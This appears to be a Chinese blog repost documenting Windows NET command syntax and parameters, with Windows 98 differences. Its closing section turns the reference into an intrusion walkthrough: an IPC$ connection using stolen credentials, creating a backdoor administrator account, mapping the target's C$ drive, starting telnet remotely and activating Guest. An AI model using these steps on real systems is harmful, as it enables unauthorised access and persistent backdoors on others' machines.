Windows常用命令之NET

NET 是一个命令行命令。可以用来管理网络环境、服务、用户、登录⋯⋯等本地信息;Windows 98,Win-
dows 2000 和 Windows NT 都内置了 NET 命令,只是 Windows 98 的 NET 命令和 Windows 2000、Windows NT 的 NET
命令有所不同。
在命令行窗口中用 NET /?或 NET 或 NET HELP 可得到 NET 的全部命令,这些子命令可用 NET COMMAND /HELP
或 NET HELP COMMAND 或 NET COMMAND /?来查询其帮助。
下面我们来看看 Windows 2000 和 Windows NT 中 NET 命令的不同参数的基本用法:
NET VIEW
作 用:显示域列表、计算机列表或指定计算机的共享资源列表。
命令格式:net view [computername | /domain[:domainname]]
参数介绍:
① 键入不带参数的 net view 显示当前域的计算机列表。
② computername 指定要查看其共享资源的计算机。
③ /domain[:domainname]指定要查看其可用计算机的域。
举例:
net view YFANG 查看 YFANG 的共享资源列表。
net view /domain:LOVE 查看 LOVE 域中的机器列表。
NET USER
作用:添加或更改用户账号或显示用户账号信息。该命令也可以写为 net users。
命令格式:net user [username [password | *] [options]] [/domain]
参数介绍:
① 键入不带参数的 net user 查看计算机上的用户账号列表。
② username 添加、删除、更改或查看用户账号名。
③ password 为用户账号分配或更改密码。
④ * 提示输入密码。
⑤ /domain 在计算机主域的主域控制器中执行操作。
简单事例:net user yfang 查看用户 yfang 的信息.
NET USE
作用:连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。
命令格式:net use [devicename | *] [computernamesharename[volume]] [password | *]] [/
user: [domainname]username] [[/delete] | [/persistent:{yes | no}]]
参数介绍:
① 键入不带参数的 net use 列出网络连接。
② devicename 指定要连接到的资源名称或要断开的设备名称。
③ computernamesharename 服务器及共享资源的名称。
④ password 访问共享资源的密码。
⑤ * 提示键入密码。
⑥ /user 指定进行连接的另外一个用户。
⑦ domainname 指定另一个域。
⑧ username 指定登录的用户名。
⑨ /home 将用户连接到其宿主目录。
⑩ /delete 取消指定网络连接。
⑾ /persistent 控制永久网络连接的使用。
举例:
net use e: YFANGTEMP 将 YFANGTEMP 目录建立为 E 盘
net use e: YFANGTEMP /delete 断开连接
NET TIME
作 用:使计算机的时钟与另一台计算机或域的时间同步。
命令格式:net time [computername | /domain[:name]] [/set]
参数介绍:
① computername 要检查或同步的服务器名。
② /domain[:name]指定要与其时间同步的域。
③ / s e t 使本计算机时钟与指定计算机或域的时钟同步。
Net Start
作 用:启动服务,或显示已启动服务的列表。
命令格式:net start service
Net Pause
作 用:暂停正在运行的服务。
命令格式:net pause service
Net Continue
作 用:重新激活挂起的服务。
命令格式:net continue service
(8)NET STOP
作 用:停止正在运行的网络服务。
命令格式:net stop service
通过(5 )、(6 )、(7 )、(8 )四个命令可以对远程计算机的服务进行控制, 如启动、暂停、重新启用、停止
等,是黑客最常使用的几个命令。
Net Statistics
作 用:显示本地工作站或服务器服务的统计记录。
命令格式:net statistics [workstation | server]
参数介绍:
① 键入不带参数的 net statistics 列出其统计信息可用的运行服务。
② workstation 显示本地工作站服务的统计信息。
③ server 显示本地服务器服务的统计信息。
Net Share
作 用:创建、删除或显示共享资源。
命令格式:net share sharename=drive:path [/users:number | /unlimited] [/remark:text]
参数介绍:
① 键入不带参数的 net share 显示本地计算机上所有共享资源的信息。
② sharename 是共享资源的网络名称。
③ drive:path 指定共享目录的绝对路径。
④ /users:number 设置可同时访问共享资源的最大用户数。
⑤ /unlimited 不限制同时访问共享资源的用户数。
⑥ /remark:text 添加关于资源的注释,注释文字用引号引住。
举例:
① net share mylove=c:/temp /remark:my first share
以 mylove 为共享名共享 C:/temp
② net share mylove /delete 停止共享 mylove 目录
Net Session
作 用:列出或断开本地计算机和与之连接的客户端的会话,也可以写为 net sessions 或 net sess。
命令格式:net session [computername] [/delete]
参数介绍:
① 键入不带参数的 net session 显示所有与本地计算机的会话信息。
② computername 标识要列出或断开会话的计算机。
③ /delete 结束与 computername 计算机会话并关闭本次会话期间计算机的所有进程。
举例:
net session YFANG 要显示计算机名为 YFANG 的客户端会话信息列表。
Net Send
作 用:向网络的其他用户、计算机发送消息。
命令格式:net send {name | * | /domain[:name] | /users} message
参数介绍:
① n a m e:接收发送消息的用户名、计算机名。
② * :消息发送到组中所有名称。
③ /domain[:name]:消息发送到计算机域中的所有名称。
④ /users:消息发送到与服务器连接的所有用户。
⑤ message:为消息发送的文本。
举例:
net send /users server will shutdown in 5 minutes 给所有连接到服务器的用户发送消息。
Net Print
作 用:显示或控制打印作业及打印队列。
命令格式:net print [computername ] job# [/hold | /release | /delete]
参数介绍:
① computername:享打印机队列的计算机名。
② sharename:打印队列名称。
③ j o b # :打印机队列中分配给打印作业的标识号。
④ /hold:用 job# 时,在打印机队列中使打印作业等待。
⑤ /release:保留的打印作业。
⑥ /delete:打印机队列中删除打印作业。
举例:
net print YFANGSEEME 列出 YFANG 计算机上 SEEME 打印机队列的目录
Net Name
作 用:添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。
命令格式:net name [name [/add | /delete]]
参数介绍:
① 键入不带参数的 net name 列出当前使用的名称。
② name:定接收消息的名称。
③ /add:名称添加到计算机中。
④ /delete:计算机中删除名称。
Net Localgroup
作 用:添加、显示或更改本地组。
命令格式:net localgroup groupname {/add [/comment:text ] | /delete} [/domain]
参数介绍:
① 键入不带参数的 net localgroup 显示服务器名称和计算机的本地组名称。
② groupname:添加、扩充或删除的本地组名称。
③ /comment: text :为新建或现有组添加注释。
④ / d o m a i n :当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作。
⑤ name [ ...]:出要添加到本地组或从本地组中删除的一个或多个用户名或组名。
⑥ / a d d:全局组名或用户名添加到本地组中。
⑦ /delete:本地组中删除组名或用户名。
举例:
net localgroup love /add 将名为 love 的本地组添加到本地用户账号数据库
net localgroup love 显示 love 本地组中的用户
Net Group
作 用:在域中添加、显示或更改全局组。
命令格式:net group groupname {/add [/comment:text ] | /delete} [/domain]
参数介绍:
① 键入不带参数的 net group 显示服务器名称及服务器的组名称。
② groupname:添加、扩展或删除的组。
③ /comment:text :新建组或现有组添加注释。
④ / d o m a i n :当前域的主域控制器中执行该操作,否则在本地计算机上执行操作。
⑤ username[ ...]:表显示要添加到组或从组中删除的一个或多个用户。
⑥ /add :加组或在组中添加用户名。
⑦ /delete:除组或从组中删除用户名。
举例:
net group love yfang1 yfang2 /add 将现有用户账号 yfang1 和 yfang2 添加到本地计算机的 love 组
Net File
作 用:显示某服务器上所有打开的共享文件名及锁定文件数。
命令格式:net file [id [/close]]
参数介绍:
① 键入不带参数的 net file 获得服务器上打开文件的列表。
② id 文件标识号。
③ /close 关闭打开的文件并释放锁定记录。
Net Config
作 用:显示当前运行的可配置服务,或显示并更改某项服务的设置。
命令格式:net config [service [options]]
参数介绍:
① 键入不带参数的 net config 显示可配置服务的列表。
② service:通过 net config 命令进行配置的服务(server 或 workstation)
③ options:服务的特定选项。
(19)Net Computer
作 用:从域数据库中添加或删除计算机。
命令格式:net computer computername {/add | /del}
参数介绍:
① computername:指定要添加到域或从域中删除的计算机。
② /add:指定计算机添加到域。
③ /del :指定计算机从域中删除。
举例:
net computer cc /add 将计算机 cc 添加到登录域
Net Accounts
作 用:更新用户账号数据库、更改密码及所有账号的登录要求。
命令格式:net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days |
unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
参数介绍:
① 键入不带参数的 net accounts 显示当前密码设置、登录时限及域信息。
② /forcelogoff:{minutes | no}:设置用户账号或有效登录的时间。
③ /minpwlen:length:设置用户账号密码的最少字符数。
④ /maxpwage:{days | unlimited}:设置用户账号密码有效的最大天数。
⑤ /minpwage:days:设置用户必须保持原密码的最小天数。
⑥ /uniquepw:number:要求用户更改密码时,必须经过 number 次后才能重复使用与之相同的密码。
⑦ /domain:当前域的主域控制器上执行该操作。
⑧ / s y n c :用于主域控制器时,该命令使域中所有备份域控制器同步。
举例:
net accounts /minpwlen:7 将用户账号密码的最少字符数设置为 7。
下面我们再看看在 Windows 98 中 NET 命令的基本用法
在 WIN98 中 NET 命令也有一些参数,其中有一些参数的名字和功能及简单的使用方法与 Windows 2000 和 Win-
dows NT 下的相应的参数的用法相同。如 NET TIME 命令、NET PRINT 命令、NET USE 命令、NET VIEW 命令等。
但也有一些参数,虽然参数名字与 Windows 2000 和 Windows NT 下的相应参数名字相同但其用法却有些不
同。如下面一些命令:
NET START
作 用:启动相应的服务。(不能在 DOS-WIN 中用)
命令格式:NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/
YES] [/VERBOSE]
NET STOP
作 用:停止相应的服务.(不能在 DOS-WIN 中用)
命令格式:NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]
在 Windows 98 中的 NET 命令还有一些参数是在 Windows 98 下才有的,如下面一些命令:
NET DIAG
作 用:运行 MS 的 DIAGNOSTICS 程序显示网络的 DIAGNOSTIC 信息。
命令格式:NET DIAGNOSTICS [/NAMES | /STATUS]
NET INIT
作 用:不通过绑定来加载协议或网卡驱动(不能在 DOS-WIN 中用)
命令格式:NET INITIALIZE [/DYNAMIC]
NET LOGOFF
作 用:断开连接的共享资源(不能在 DOS-WIN 中用)
NET LOGON
作 用:在 WORKGROUP 中登录(不能在 DOS-WIN 中用)
命令格式:NET LOGON [user [password | ?]] [/DOMAIN:name] [/YES] [/SAVEPW:NO]
NET PASSWORD
作 用:更改你的网络登录口令(不能在 DOS-WIN 中用)
命令格式:NET PASSWORD computer | /DOMAIN:name [user [oldpassword [newpassword]]]
下面我们就来看看利用 N e t 命令如何来入侵目标主机吧!不过,我们得事先用工具获得某目标机的用户名
和密码。
只要我们用工具获得了某目标机的用户名和密码,就可用 I P C $ 做连接进入对方的机器。这里假如得到的用
户是 hbx,密码是 123456,假设对方 IP 为 127.0.0.1。
运行:net use \127.0.0.1 ipc$ "123456" /user:"hbx";命令成功便建立了 IPC$ 连接。
退出的命令是:net use \127.0.0.1 ipc$ /delte
下面的操作必须在建立 I P C $ 连接后才可以使用。
比如我们要添加一个 nctry 的用户,其密码为 lovechina 。采用如下命令:
net user nctry lovechina /add
命令成功后,再采用如下命令把他加入 Administrator 组:
net localgroup Administrators nctry /add
然后我们再采用如下命令把对方的 C 盘映射到本地的 Z 盘(当然也可以映射成其它盘符)。
net use z:\127.0.0.1 c$
再采用 net start telnet 命令远程打开对方的 TELNET 服务。
用 net user guest /active:yes 命令将 Guest 用户激活。

猜你喜欢

转载自blog.csdn.net/c1728494009/article/details/83539693